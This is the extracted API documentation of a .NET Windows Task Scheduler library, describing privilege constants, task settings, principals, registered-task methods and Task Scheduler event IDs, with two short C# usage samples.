Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event 